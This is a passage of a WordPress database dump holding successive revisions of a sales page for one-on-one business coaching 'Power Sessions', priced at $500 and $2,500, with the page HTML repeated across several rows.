to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One White Hot Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:45:22', '2011-01-27 00:45:22', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-34/', 0, 'revision', '', 0),
(1507, 2, '2011-01-26 17:46:11', '2011-01-27 00:46:11', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income. The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire from the git go!\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:46:11', '2011-01-27 00:46:11', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-35/', 0, 'revision', '', 0),
(1508, 2, '2011-01-26 17:47:19', '2011-01-27 00:47:19', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:47:19', '2011-01-27 00:47:19', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-36/', 0, 'revision', '', 0),
(1509, 2, '2011-01-26 17:49:09', '2011-01-27 00:49:09', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:49:09', '2011-01-27 00:49:09', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-37/', 0, 'revision', '', 0),
(1510, 2, '2011-01-26 17:50:05', '2011-01-27 00:50:05', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:50:05', '2011-01-27 00:50:05', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-38/', 0, 'revision', '', 0);
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(1511, 2, '2011-01-26 17:51:31', '2011-01-27 00:51:31', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h2></h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:51:31', '2011-01-27 00:51:31', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-39/', 0, 'revision', '', 0),
(1512, 2, '2011-01-26 17:52:49', '2011-01-27 00:52:49', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h2></h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:52:49', '2011-01-27 00:52:49', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-40/', 0, 'revision', '', 0),
(1513, 2, '2011-01-26 17:53:26', '2011-01-27 00:53:26', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich, walk-on-fire  brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:53:26', '2011-01-27 00:53:26', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-41/', 0, 'revision', '', 0),
(1514, 2, '2011-01-26 17:54:08', '2011-01-27 00:54:08', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future 